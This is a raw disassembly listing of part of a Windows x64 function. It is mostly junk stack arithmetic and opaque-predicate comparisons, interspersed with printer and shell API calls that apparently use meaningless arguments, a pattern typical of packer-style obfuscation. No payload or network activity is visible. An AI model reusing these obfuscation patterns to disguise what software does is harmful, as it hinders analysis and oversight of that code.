mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x110c]
shl eax, cl
mov word [rsp + 0x10e8], ax
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x1104]
sar eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rsp + 0x3aa0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4028]
add eax, 0xa1
mov dword [rsp + 0x4028], eax
mov rax, qword [rsp + 0x77a0]
mov rcx, qword [rsp + 0x7688]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x76a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov byte [rsp + 0x198], al
jmp 0x14000aae0
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x10f0]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
movsx ecx, byte [rsp + 0x197]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4014]
add eax, 0x81
mov dword [rsp + 0x4014], eax
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x7790]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f74]
movzx ecx, al
mov eax, dword [rsp + 0x3f68]
shl eax, cl
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7588]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x77d8], rax
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x77a0]
shr rax, cl
mov qword [rsp + 0x7738], rax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
movsx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], al
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1100], ax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x3f94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4010], eax
mov eax, dword [rsp + 0x3f68]
mov ecx, dword [rsp + 0x3aa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7738]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x10f0]
add eax, ecx
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
movzx eax, word [rsp + 0x1108]
movzx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sar eax, cl
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
xor eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x75d8]
mov rcx, qword [rsp + 0x7600]
mov qword [rsp + 0x77f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x7750]
mov ecx, dword [rsp + 0x3fa8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77d0]
mov rcx, qword [rsp + 0x77c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1108]
movzx ecx, word [rsp + 0x110c]
add eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
and eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movsx eax, word [rsp + 0x1100]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
cmp dword [rsp + 0x4014], 0xec68
jbe 0x14000aca4
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
mov byte [rsp + 0x4070], al
cmp byte [rsp + 0x4070], 0x26
je 0x14000b1c1
cmp byte [rsp + 0x4070], 0x7f
je 0x14000b080
jmp 0x14000b221
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x77a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401f94c8], rax
lea rax, [rsp + 0x7658]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x76e0]
mov qword [rsp + 0x20], rax
mov r9d, 0x23
lea r8, [rsp + 0x2df30]
mov edx, reloc.COMCTL32.dll_MakeDragList
mov rcx, qword [rsp + 0x7788]
call sub.WINSPOOL.DRV_EnumFormsA
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3f74]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000b135
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x75d8]
sar rax, cl
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
jmp 0x14000b1bf
mov eax, dword [rsp + 0x3f94]
mov rcx, qword [rsp + 0x7790]
mov qword [rsp + 0x7800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7800]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x77d0]
mov rcx, qword [rsp + 0x7618]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x77d0]
mov qword [rcx], rax
lea rax, [rsp + 0x7808]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd2
lea r9, [rsp + 0x7808]
mov r8d, 0x7a
mov edx, 0xae
mov rcx, qword [rsp + 0x76e8]
call sub.WINSPOOL.DRV_GetJobA
mov dword [rsp + 0x3f98], eax
jmp 0x14000b221
mov eax, dword [rsp + 0x3f68]
mov ecx, dword [rsp + 0x3f74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa0], eax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov r9d, 0x3d
lea r8, [rsp + 0x199]
mov edx, 0x3f
mov rcx, qword [rsp + 0x77f0]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x4074], eax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7760]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x1401dc3ad
mov rax, qword [rsp + 0x7608]
mov rcx, qword [rsp + 0x76b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c10], eax
mov rax, qword [rsp + 0x7610]
mov eax, dword [rax]
mov dword [rsp + 0x4078], eax
cmp dword [rsp + 0x4078], 0x74f76bb3
je 0x14000b2b2
jmp 0x14000b32f
mov rax, qword [rsp + 0x77d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77c8]
mov qword [rsp + 0x7810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7810]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
lea rdx, [rsp + 0x3f5c]
lea rcx, [rsp + 0x10f4]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x407c], eax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
jmp 0x14000b525
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x77d8]
mov rdx, qword [rsp + 0x75d8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14000b388
mov r8d, 0x3f
lea rdx, [rsp + 0x2e000]
lea rcx, [rsp + 0x77e0]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x4080], eax
jmp 0x14000b525
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
sub eax, ecx
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7590]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x14000b525
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov dword [rsp + 0x4084], eax
cmp dword [rsp + 0x4084], 0
je 0x14000b3dd
jmp 0x14000b508
mov rax, qword [rsp + 0x75d8]
mov qword [rsp + 0x7818], rax
cmp qword [rsp + 0x7818], 0
je 0x14000b415
movabs rax, 0x6f1910ca0813a78b
cmp qword [rsp + 0x7818], rax
je 0x14000b4ea
jmp 0x14000b506
mov rax, qword [rsp + 0x7688]
mov qword [rsp + 0x7820], rax
cmp qword [rsp + 0x7820], 0
je 0x14000b44d
movabs rax, 0x9f5c9d8600e486bc
cmp qword [rsp + 0x7820], rax
je 0x14000b4e2
jmp 0x14000b4e8
movsx eax, word [rsp + 0x1100]
mov dword [rsp + 0x4088], eax
cmp dword [rsp + 0x4088], 0
je 0x14000b491
cmp dword [rsp + 0x4088], 0x34d7
je 0x14000b475
jmp 0x14000b4e0
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x10e8]
add eax, ecx
mov word [rsp + 0x110c], ax
jmp 0x14000b4e0
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
and eax, ecx
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
lea rax, [rsp + 0x194]
mov qword [rsp + 0x7828], rax
jmp 0x14000b4e8
call fcn.1401dd040
nop
jmp 0x14000b506
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
add eax, ecx
mov rcx, qword [rsp + 0x7760]
mov byte [rcx], al
jmp 0x14000b525
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x7738]
add rcx, rax
mov rax, rcx
mov qword [0x1401f94c8], rax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x408c], al
cmp byte [rsp + 0x408c], 0
je 0x14000b551
cmp byte [rsp + 0x408c], 0x1c
je 0x1401dc28f
jmp 0x1401dc314
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov rdx, qword [rsp + 0x76b0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x14000b5fa
lea r9, [rsp + 0x2df30]
lea r8, [rsp + 0x3f74]
lea rdx, [rsp + 0x3aa0]
mov rcx, qword [rsp + 0x7830]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x3f5c], eax
movsx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov r9, qword [rsp + 0x75d8]
mov rax, qword [rsp + 0x7600]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x7570]
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rax]
call fcn.1401dcd70
nop
jmp 0x1401dc228
mov rax, qword [rsp + 0x7750]
mov ecx, dword [rsp + 0x4010]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3fa8]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14000b78f
mov rax, qword [rsp + 0x71c8]
movzx ecx, al
mov rax, qword [rsp + 0x7688]
shl rax, cl
mov rcx, qword [rsp + 0x77d0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x7618]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14000b73e
mov rax, qword [rsp + 0x7540]
mov rcx, qword [rsp + 0x7750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4030], eax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7618]
mov rdx, qword [rsp + 0x7688]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14000b73c
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov qword [rsp + 0x7838], rax
movabs rax, 0x53e0851a295af972
cmp qword [rsp + 0x7838], rax
je 0x14000b6e0
jmp 0x14000b71b
mov rax, qword [rsp + 0x7608]
mov ecx, dword [rsp + 0x3f74]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
lea rcx, [rsp + 0x2df80]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov qword [rsp + 0x7840], rax
call fcn.1401dd040
nop
jmp 0x14000b73c
mov rax, qword [rsp + 0x7618]
mov rcx, qword [rsp + 0x77a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77d0]
mov qword [rcx], rax
jmp 0x14000b78a
mov rax, qword [rsp + 0x76a0]
mov rcx, qword [rsp + 0x77c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7640]
mov rdx, qword [rsp + 0x77d0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x14000b78a
lea rcx, [rsp + 0x2e320]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov dword [rsp + 0x3ff0], eax
jmp 0x14000b819
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x77d8], rax
movsx eax, word [rsp + 0xfa8]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x10fc]
movzx ecx, word [rsp + 0x10e8]
sar eax, cl
mov word [rsp + 0x1108], ax
lea rcx, [rsp + 0x7720]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x7848], rax
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
shl eax, cl
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov dword [rsp + 0x4090], eax
cmp dword [rsp + 0x4090], 0
je 0x14000b84b
cmp dword [rsp + 0x4090], 0xced
je 0x1401dc0dc
jmp 0x1401dc183
cmp dword [rsp + 0x4048], 0x54cd
ja 0x14000bcdd
mov rax, qword [rsp + 0x75d8]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x77d8], rax
mov eax, dword [rsp + 0x3f9c]
mov ecx, dword [rsp + 0x3fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4010], eax
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x77e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
sub eax, ecx
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
add eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x77c8]
mov rcx, qword [rsp + 0x7618]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
shl eax, cl
mov rcx, qword [rsp + 0x7768]
mov byte [rcx], al
mov rax, qword [rsp + 0x76a8]
mov rcx, qword [rsp + 0x7568]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3f94], eax
mov rax, qword [rsp + 0x76a0]
mov rcx, qword [rsp + 0x77c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c10]
sar eax, cl
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7600]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movsx eax, word [rsp + 0x1100]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
mov eax, dword [rsp + 0x3f68]
mov ecx, dword [rsp + 0x3c10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x7738]
mov rcx, qword [rsp + 0x71c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7750]
mov rcx, qword [rsp + 0x7610]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x77d8], rax
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x10f4]
sar eax, cl
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov eax, dword [rsp + 0x4048]
add eax, 8
mov dword [rsp + 0x4048], eax
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10fc], ax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
xor eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x10ec]
and eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x77d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x77c8]
mov rcx, qword [rsp + 0x7688]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x7610]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3aa0]
mov ecx, dword [rsp + 0x3c10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7760]
mov byte [rcx], al
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
add eax, ecx
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x77e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x77a0]
mov rcx, qword [rsp + 0x7618]
add rcx, rax
mov rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
shl eax, cl
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], al
mov rax, qword [rsp + 0x76b0]
mov ecx, dword [rsp + 0x3f74]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c10], eax
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x7600]
mov qword [rsp + 0x7850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7850]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x3f94]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
jmp 0x14000b84b
mov rax, qword [rsp + 0x7688]
mov rcx, qword [rsp + 0x71c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x75d8]
mov rcx, qword [rsp + 0x77d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7680]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x7570]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14000befb
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov dword [rsp + 0x4094], eax
cmp dword [rsp + 0x4094], 0
je 0x14000bd67
cmp dword [rsp + 0x4094], 0xf82fc06d
je 0x14000beca
jmp 0x14000bef6
lea rax, [rsp + 0x194]
mov qword [rsp + 0x7858], rax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
add eax, ecx
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x7760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
and eax, ecx
movsx ecx, byte [rsp + 0x196]
movsx edx, byte [rsp + 0x199]
add ecx, edx
cmp eax, ecx
jl 0x14000bec8
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7858]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7828]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14000bec8
movzx eax, byte [rsp + 0x196]
mov byte [rsp + 0x19b], al
mov rax, qword [rsp + 0x7858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7828]
mov byte [rcx], al
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x4098], al
cmp byte [rsp + 0x4098], 0
je 0x14000be44
jmp 0x14000bea8
movsx eax, word [rsp + 0x10f4]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f9c]
mov dword [rsp + 0x409c], eax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x7680]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x75c8]
mov qword [rsp + 0x7860], rax
jmp 0x14000bec8
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c10]
sar eax, cl
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
jmp 0x14000bef6
movzx r9d, word [rsp + 0x1104]
mov rax, qword [rsp + 0x76b0]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x1100]
mov rax, qword [rsp + 0x7598]
mov ecx, dword [rax]
call fcn.1401dce30
nop
jmp 0x14000c021
lea rcx, [rsp + 0x7848]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x40a0], eax
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7828]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7858]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x195]
add ecx, edx
cmp eax, ecx
jg 0x14000bf5e
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov rcx, qword [rsp + 0x76e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x7570]
mov qword [rsp + 0x7868], rax
movabs rax, 0x4bc12432653bbe73
cmp qword [rsp + 0x7868], rax
je 0x14000bfa3
jmp 0x14000c001
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
lea rax, [rsp + 0x7870]
mov qword [rsp + 0x20], rax
mov r9d, 0xa1
